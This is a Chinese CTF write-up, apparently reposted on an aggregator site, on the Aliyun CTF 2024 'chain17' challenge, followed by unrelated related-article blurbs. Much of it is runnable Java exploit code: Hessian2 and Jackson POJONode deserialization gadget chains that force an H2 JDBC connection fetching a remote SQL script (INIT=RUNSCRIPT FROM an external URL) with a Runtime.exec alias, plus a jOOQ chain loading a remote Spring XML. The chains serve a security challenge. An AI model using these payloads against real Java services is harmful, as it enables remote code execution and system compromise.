2024阿里云ctf-web-chain17学习

agent

jdk17依赖有h2思路清晰打jdbc attack

<dependency>  <groupId>org.springframework.boot</groupId>  <artifactId>spring-boot-starter-web</artifactId>  
</dependency>  <!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite -->  
<dependency>  <groupId>com.alibaba</groupId>  <artifactId>hessian-lite</artifactId>  <version>3.2.13</version>  
</dependency>  <dependency>  <groupId>cn.hutool</groupId>  <artifactId>hutool-all</artifactId>  <version>5.8.16</version>  
</dependency>  <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->  
<dependency>  <groupId>com.h2database</groupId>  <artifactId>h2</artifactId>  <version>2.2.224</version>  
</dependency>

项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18

H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

看到了h2 rce

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";  
// getConnection 触发漏洞  
Connection connection = DriverManager.getConnection(connectionUrl);  
connection.close();

安装h2数据库
h2数据库
python -m http.server 8001

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

可以拿到calc
使用codeql查询sink

使用尝试

还有一个把cn.h2%修改为cn.hutool%,找到

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";Setting setting = new Setting();setting.setCharset(null);setting.set("url",connectionUrl);Unsafe unsafe = UnSafeTools.getUnsafe();PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());

这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法,
我们寻找一条到pojonode#toString的链子, 但是Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是

 有限制,我们查找不继承这些接口的toString能触发pojonode#toString的方法,而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到

确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找

hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化

这时候生成了一个JSONObject变量,但是值为空

可以看到map将值put进去了两次反序列化
所以我们可以理解为,第一段Hessian2先创建一个JSONObject,
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢

hessian2反序列化的序列化函数可以传入指定类型进去,并且设置this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制

private void writeType(String type) throws IOException {  this.flushIfFull();  int len = type.length();  if (len == 0) {  throw new IllegalArgumentException("empty type is not allowed");  } else {  if (this._typeRefs == null) {  this._typeRefs = new HashMap();  }  Integer typeRefV = (Integer)this._typeRefs.get(type);  if (typeRefV != null) {  int typeRef = typeRefV;  this.writeInt(typeRef);  } else {  this._typeRefs.put(type, this._typeRefs.size());  this.writeString(type);  }  }  
}

在HashMap里面push了一个type进去

这时候反序列化

调用了this.read()

public final int read() throws IOException {  return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;  
}  private final boolean readBuffer() throws IOException {  byte[] buffer = this._buffer;  int offset = this._offset;  int length = this._length;  if (offset < length) {  System.arraycopy(buffer, offset, buffer, 0, length - offset);  offset = length - offset;  } else {  offset = 0;  }  int len = this._is.read(buffer, offset, 256 - offset);  if (len <= 0) {  this._length = offset;  this._offset = 0;  return offset > 0;  } else {  this._length = offset + len;  this._offset = 0;  return true;  }  
}

读取缓冲区的值当this.readBuffer返回值为true的时候调用
this._buffer[this._offset++] & 255;
所以_offset这时候就为1

因为上面的writeBeginMap将tag设置为了77
通过readType读取

由于_offset为1,所以值是25
将offset-1,这时候offset读取就从2变成了1

 

 在进入读取

这时候tag值就为25,_offset值就为2

设置_sbuf的长度为0,设置_chunkLength长度为25,也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节,也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了,继续跟着往后面走

case 77:  type = this.readType();  return this.findSerializerFactory().readMap(this, type);
public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException {  Deserializer deserializer = this.getDeserializer(type);  if (deserializer != null) {  return deserializer.readMap(in);  } else if (this._hashMapDeserializer != null) {  return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  } else {  this._hashMapDeserializer = new MapDeserializer(HashMap.class);  return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  }  
}

进入了这边, this.getDeserializer(type)获取了类型的反序列化
也就是获取了

当类型

public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {  Object map;  if (this._type == null) {  map = new HashMap();  } else if (this._type.equals(Map.class)) {  map = new HashMap();  } else if (this._type.equals(SortedMap.class)) {  map = new TreeMap();  } else {  try {  map = (Map)this._ctor.newInstance();  } catch (Exception var6) {  throw new IOExceptionWrapper(var6);  }  }  in.addRef(map);  this.doReadMap(in, (Map)map, expectKeyType, expectValueType);  in.readEnd();  return map}

这样就能newInstance了
在newInstance后调用了

this.doReadMap(in, (Map)map, expectKeyType, expectValueType);

in.isEnd()将buffer读取到了

也就是读完类名的值,也就是8,8也就是我们key的长度,再次反序列化,将offset的值就到
value反序列化开始的地方

获取到我们输入的key
 再次反序列化获取我们的value,就是走正常反序列化了
JSONObject调用put

然后JSONObject调用set

到最后调用到这个

public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {  if (null == key) {  return this;  } else {  if (null != filter) {  MutablePair<String, Object> pair = new MutablePair(key, value);  if (!filter.accept(pair)) {  return this;  }  key = (String)pair.getKey();  value = pair.getValue();  }  boolean ignoreNullValue = this.config.isIgnoreNullValue();  if (ObjectUtil.isNull(value) && ignoreNullValue) {  this.remove(key);  } else {  if (checkDuplicate && this.containsKey(key)) {  throw new JSONException("Duplicate key \"{}\"", new Object[]{key});  }  super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));  }  return this;  }  
}

调用了Object的toString也就是,

调用他的get函数
返回值也就是POJONode

String.ValueOf也就调用了value的toString

所以我们的思路就是

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  hessian2Output.writeMapBegin(JSONObject.class.getName());  
hessian2Output.writeObject("whatever");POJONode pojoNode = new POJONode(bean);  Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);  
hessian2Output.writeMapEnd();  
hessian2Output.close();

这样就能触发pojonode
所以payload就是

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;public class Main {public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMEDString connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";Setting setting = new Setting();setting.setCharset(null);setting.set("url",connectionUrl);Unsafe unsafe = UnSafeTools.getUnsafe();PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());Bean bean = new Bean();UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);hessian2Output.writeMapBegin(JSONObject.class.getName());hessian2Output.writeObject("whatever");POJONode pojoNode = new POJONode(bean);Object object = new AtomicReference<>(pojoNode);hessian2Output.writeObject(object);hessian2Output.writeMapEnd();hessian2Output.close();ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);hessian2Input.readObject();}
}

但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields

在这边看到了BeanPropertyWriter#serializeAsField

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);if (value == null) {if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) {if (this._nullSerializer != null) {gen.writeFieldName(this._name);this._nullSerializer.serialize((Object)null, gen, prov);}}} else {JsonSerializer<Object> ser = this._serializer;if (ser == null) {Class<?> cls = value.getClass();PropertySerializerMap m = this._dynamicSerializers;ser = m.serializerFor(cls);if (ser == null) {ser = this._findAndAddDynamic(m, cls, prov);}}if (this._suppressableValue != null) {if (MARKER_FOR_EMPTY == this._suppressableValue) {if (ser.isEmpty(prov, value)) {return;}} else if (this._suppressableValue.equals(value)) {return;}}if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) {gen.writeFieldName(this._name);if (this._typeSerializer == null) {ser.serialize(value, gen, prov);} else {ser.serializeWithType(value, gen, prov, this._typeSerializer);}}}

当获取值后,对value再次进行序列化

Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
//这边就是getter后的值


也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这

也就是调用了PooledDSFactory的getConnection

我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢

问题就在

有debug问题,fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了,debugCodeCall会进行判断,导致无法执行connect
所以我们使用

H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可
我重写的类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.aliyunctf.agent;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import javax.sql.XAConnection;
import javax.sql.XADataSource;
import org.h2.jdbc.JdbcConnection;
import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.jdbcx.JdbcXAConnection;
import org.h2.message.DbException;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import org.h2.util.StringUtils;public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {private static final long serialVersionUID = 1288136338451857771L;private  JdbcDataSourceFactory factory;private transient PrintWriter logWriter;private int loginTimeout;private String userName = "";private char[] passwordChars = new char[0];private String url = "";private String description;private Trace trace;public Trace getTrace() {return trace;}public void setTrace(Trace trace) {this.trace = trace;}public H2DataSource(){this.initFactory();int var1 = getNextId(12);this.setTrace(trace, 12, var1);}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {this.initFactory();var1.defaultReadObject();}private void initFactory() {this.factory = new JdbcDataSourceFactory();}public int getLoginTimeout() {return this.loginTimeout;}public void setLoginTimeout(int var1) {this.loginTimeout = var1;}public PrintWriter getLogWriter() {return this.logWriter;}public void setLogWriter(PrintWriter var1) {this.debugCodeCall("setLogWriter(out)");this.logWriter = var1;}public Connection getConnection() throws SQLException {return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false);}public Connection getConnection(String var1, String var2) throws SQLException {if (this.isDebugEnabled()) {this.debugCode("getConnection(" + quote(var1) + ", \"\")");}return new JdbcConnection(this.url, (Properties)null, var1, var2, false);}public String getURL() {this.debugCodeCall("getURL");return this.url;}public void setURL(String var1) {this.url = var1;}public String getUrl() {this.debugCodeCall("getUrl");return this.url;}public void setUrl(String var1) {this.debugCodeCall("setUrl", var1);this.url = var1;}public void setPassword(String var1) {this.debugCodeCall("setPassword", "");this.passwordChars = var1 == null ? null : var1.toCharArray();}public void setPasswordChars(char[] var1) {if (this.isDebugEnabled()) {this.debugCode("setPasswordChars(new char[0])");}this.passwordChars = var1;}private static String convertToString(char[] var0) {return var0 == null ? null : new String(var0);}public String getPassword() {this.debugCodeCall("getPassword");return convertToString(this.passwordChars);}public String getUser() {this.debugCodeCall("getUser");return this.userName;}public void setUser(String var1) {this.debugCodeCall("setUser", var1);this.userName = var1;}public String getDescription() {this.debugCodeCall("getDescription");return this.description;}public void setDescription(String var1) {this.debugCodeCall("getDescription", var1);this.description = var1;}public Reference getReference() {this.debugCodeCall("getReference");String var1 = JdbcDataSourceFactory.class.getName();Reference var2 = new Reference(this.getClass().getName(), var1, (String)null);var2.add(new StringRefAddr("url", this.url));var2.add(new StringRefAddr("user", this.userName));var2.add(new StringRefAddr("password", convertToString(this.passwordChars)));var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout)));var2.add(new StringRefAddr("description", this.description));return var2;}public XAConnection getXAConnection() throws SQLException {this.debugCodeCall("getXAConnection");return null;}public XAConnection getXAConnection(String var1, String var2) throws SQLException {if (this.isDebugEnabled()) {this.debugCode("getXAConnection(" + quote(var1) + ", \"\")");}return null;}public PooledConnection getPooledConnection() throws SQLException {this.debugCodeCall("getPooledConnection");return this.getXAConnection();}public PooledConnection getPooledConnection(String var1, String var2) throws SQLException {if (this.isDebugEnabled()) {this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")");}return this.getXAConnection(var1, var2);}public <T> T unwrap(Class<T> var1) throws SQLException {try {if (this.isWrapperFor(var1)) {return (T) this;} else {throw DbException.getInvalidValueException("iface", var1);}} catch (Exception var3) {throw this.logAndConvert(var3);}}public boolean isWrapperFor(Class<?> var1) throws SQLException {return var1 != null && var1.isAssignableFrom(this.getClass());}public Logger getParentLogger() {return null;}public String toString() {return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName;}
}

payload:

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";Bean bean = new Bean();
//        Setting setting = new Setting();
//        setting.setCharset(null);
//        setting.set("url",connectionUrl);Unsafe unsafe = UnSafeTools.getUnsafe();
//        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
//        UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
//        UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);jdbcDataSource.setURL(connectionUrl);jdbcDataSource.setLoginTimeout(5);Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o)));ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);hessian2Output.writeMapBegin(JSONObject.class.getName());hessian2Output.writeObject("whatever");POJONode pojoNode = new POJONode(bean);Object object = new AtomicReference<>(pojoNode);hessian2Output.writeObject(object);hessian2Output.writeMapEnd();hessian2Output.close();ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);hessian2Input.readObject();

这样拿取shell就可达到第二条,像第二条发送payload去打通
第二条的trace一直没加载进去,很奇怪,原生类序列化能不能打进去呢

之前继承的SimpleDSFactory也可以

package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.c3p0.C3p0DSFactory;
import cn.hutool.db.ds.druid.DruidDSFactory;
import cn.hutool.db.ds.jndi.JndiDSFactory;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.simple.SimpleDSFactory;
import cn.hutool.db.ds.tomcat.TomcatDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import org.h2.jdbcx.JdbcDataSource;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import sun.misc.Unsafe;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;public class Main {public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMEDString connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";Bean bean = new Bean();Setting setting = new Setting();setting.setCharset(null);setting.set("url",connectionUrl);Unsafe unsafe = UnSafeTools.getUnsafe();SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);hessian2Output.writeMapBegin(JSONObject.class.getName());hessian2Output.writeObject("whatever");POJONode pojoNode = new POJONode(bean);Object object = new AtomicReference<>(pojoNode);hessian2Output.writeObject(object);hessian2Output.writeMapEnd();hessian2Output.close();ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);hessian2Input.readObject();}
}

只有开了--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功

server

使用查找,分了两步

即可
payload

package com.aliyunctf.server;import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Vector;public class Main {public static void main(String[] args) throws Exception {String url = "http://127.0.0.1:1234/poc.xml";Class clazz1 = Class.forName("org.jooq.impl.Dual");Constructor constructor1 = clazz1.getDeclaredConstructors()[0];constructor1.setAccessible(true);Object table = constructor1.newInstance();Class clazz2 = Class.forName("org.jooq.impl.TableDataType");Constructor constructor2 = clazz2.getDeclaredConstructors()[0];constructor2.setAccessible(true);Object tableDataType = constructor2.newInstance(table);Class clazz3 = Class.forName("org.jooq.impl.Val");Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);constructor3.setAccessible(true);Object val = constructor3.newInstance("whatever", tableDataType, false);Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");Constructor constructor4 = clazz4.getDeclaredConstructors()[0];constructor4.setAccessible(true);Object convertedVal = constructor4.newInstance(val, tableDataType);Object value = url;Class type = ClassPathXmlApplicationContext.class;UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value);UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type);POJONode pojoNode = new POJONode(convertedVal);EventListenerList eventListenerList = new EventListenerList();UndoManager undoManager = new UndoManager();Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");vector.add(pojoNode);ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});String s = SerialTools.base64Serial(eventListenerList);System.out.println(s);SerialTools.base64DeSerial(s);}}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/6862.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI图书推荐:ChatGPT在真实商业世界中的应用

《ChatGPT在真实商业世界中的应用》 (Unleashing The Power of ChatGPT: A Real World Business Applications)首先概述了ChatGPT及其在对话式人工智能领域的影响。接着&#xff0c;你将深入了解ChatGPT的技术方面&#xff0c;理解机器学习算法和自然语言处理如何在后台工作。然…

Raft共识算法笔记,MIT6.824,

处理leader和follow的一个重要思路是多数投票&#xff0c;确保系统中存在奇数个服务器&#xff08;例如3台&#xff09;。进行任何操作都需要来自多数服务器的同意&#xff0c;例如3台服务器中的2台。如果没有多数同意&#xff0c;系统会等待。为什么多数投票有助于避免脑裂问题…

【Linux】目录和文件相关的命令,补充:centos7系统目录结构

【Linux】Linux操作系统的设计理念之一就是“一切皆文件”&#xff08;Everything is a file&#xff09;&#xff0c;即将设备、文件等都当作“文件”处理。 “文件”主要类型有&#xff1a;目录&#xff08;即文件夹&#xff09;&#xff0c;链接文档&#xff08;即快捷方式…

【论文复现】Graph Attention Networks图注意力神经网络

图注意力神经网络 前言一、论文解读1.1 模型架构1.2 数学推导 二、代码复现2.1 数据准备2.1.1 数据转化2.1.2 创建数据集 2.2 模型构建2.2.1 参数设置2.2.2 模型代码2.2.3 pytorch官方GAT源码实现 2.3 模型训练 三、结果展示3.1 复现结果3.2 论文结果 四、代码细节代码链接 前言…

【Python项目】基于opencv的的【疲劳检测系统】

技术简介&#xff1a;使用Python技术、OpenCV图像处理库、MYSQL数据库等实现。 系统简介&#xff1a;用户可以通过登录系统平台实现实时的人脸照片的拍摄和上传&#xff0c;结合上传图像的内容进行后台的图像预处理和运算分析&#xff0c;用户可以通过照片分析界面查看到当前检…

数学中的极值

在数学领域中&#xff0c;极值是一个重要的概念&#xff0c;它不仅在纯数学理论研究中占据核心地位&#xff0c;还在实际应用中发挥着巨大作用。从微积分的基本定理到优化问题的求解&#xff0c;从物理学的能量守恒到经济学的边际分析&#xff0c;极值理论无处不在。本文将详细…

【MySQL】第一次作业

【MySQL】第一次作业 1、在官网下载安装包2、解压安装包&#xff0c;创建一个dev_soft文件夹&#xff0c;解压到里面。3、创建一个数据库db_classes4、创建一行表db_hero5、将四大名著中的常见人物插入这个英雄表 写一篇博客&#xff0c;在window系统安装MySQL将本机的MySQL一定…

求解亲和数

【问题描述】 古希腊数学家毕达哥拉斯在自然数研究中发现&#xff0c;220的所有真约数&#xff08;即不是自身 的约数&#xff09;之和为&#xff1a; 1245101120224455110284。而284的所有真约数为1、2、4、71、142&#xff0c;加起来恰好为220。人 们对这样的数感到很惊奇&am…

Spring Cloud架构进化实操:Eureka、Apollo、OpenFeign、Ribbon、Zuul组件

文章目录 前言一、引出二、服务注册与发现2.1 创建Eureka注册中心2.1.1 引入pom依赖2.1.2 配置yaml2.1.3 启动服务21.4 测试访问 2.2 创建服务提供者2.2.1 配置yaml2.2.2 启动服务2.2.3 测试访问 2.3 创建服务消费者2.3.1 服务提供者接口2.3.2 服务消费者调用接口 三、负载均衡…

用户中心(优化)

文章目录 功能扩充管理员修改用户信息管理员删除用户管理员添加用户添加个人主页&#xff0c;可以完善个人信息&#xff08;上传头像没有实现&#xff09;添加默认头像打造一个所有用户可发帖的页面前端页面&#xff0c;√后端建表&#xff0c;接口&#xff0c;√前后端联调√ …

W801学习笔记二十:宋词学习应用

前三章完成了唐诗的应用&#xff0c;本章将实现宋词的学习应用。 宋词与唐诗的区别不大&#xff0c;马上开始。 1、我们需要参考前面唐诗的方式&#xff0c;把宋词文本下载下来&#xff0c;并进行格式整理。 W801学习笔记十七&#xff1a;古诗学习应用——上 2、在菜单中添加…

[论文阅读]Adversarial Autoencoders(aae)和代码

In this paper, we propose the “adversarial autoencoder” (AAE), which is a probabilistic autoencoder that uses the recently proposed generative adversarial networks (GAN) to perform variational inference by matching the aggregated posterior of the hidden …

proxmox宿主机安装桌面

装完proxmox启动后一般进入shell界面&#xff0c;之后都是另外一台电脑连接web管理等操作&#xff0c;一直用起来还好。不过这样需要另外一台电脑连接管理操作&#xff0c;有时候调试时毕竟还是会有些不方便&#xff0c;就想能不能在宿主机上装个桌面做这类事&#xff0c;今天用…

python数据分析——大数据和云计算

大数据和云计算 前言一、大数据二、大数据定义三、数据存储单位四、大数据存储技术五、大数据应用技术六、大数据特征七、数据容量八、数据类型的多样性8.1结构化数据8.2半结构化数据8.3非结构化数据 九、获取数据的速度十、可变性十一、真实性十二、复杂性十三、价值十四、云计…

传输控制协议TCP

一、TCP简介 TCP是面向连接的&#xff1a; TCP连接只能有两个端点&#xff0c;TCP连接是点对点的&#xff1b; TCP提供可靠交互的服务&#xff1b; TCP提供全双工通信。 面向字节流&#xff1a; TCP中的“流”指的是流入或流出进程的字节序列&#xff1b; 虽然应用程序和…

Mac基于Docker-ubuntu构建c/c++编译环境

编译环境安装和使用被充分验证&#xff0c;如有期望补充的内容欢迎留言评论。 目录 前言 Docker desktop下载安装 修改镜像源 选择ubuntu镜像 docker容器启动 参数说明: 宿主机与docker容器文件共享 宿主机与docker容器拷贝文件 为 Ubuntu 配置 ssh、vim、make 相关工…

Flyway使用教程

Flyway使用教程 背景&#xff1a; 在开发环境对多个不同版本的分支进行开发&#xff0c;如果此时涉及到多张表结构修改&#xff08;比如新增字段&#xff09;&#xff0c;而在测试环境时却忘了整理SQL 脚本给测试人员执行&#xff0c;就会导致出现 bug&#xff0c;从而影响测试…

Android selinux权限

一.SE 概述 SELinux 是由美国NSA&#xff08;国安局&#xff09;和 SCC 开发的 Linux的一个扩张强制访问控制安全模块。原先是在Fluke上开发的&#xff0c;2000年以 GNU GPL 发布。从 fedora core 2开始&#xff0c; 2.6内核的版本都支持SELinux。 在 SELinux 出现之前&#…

PHP ASCII码的字符串用mb_convert_encoding 转utf-8之后不生效

检测数据类型是ascii,转码之后再检测还是utf-8没生效 private function toUTF8($str){$encode mb_detect_encoding($str, array("ASCII",UTF-8,"GB2312","GBK",BIG5,LATIN1));if ($encode ! UTF-8) {$str1 mb_convert_encoding($str, UTF-8, …

抓包证书安装到安卓7.0+手机

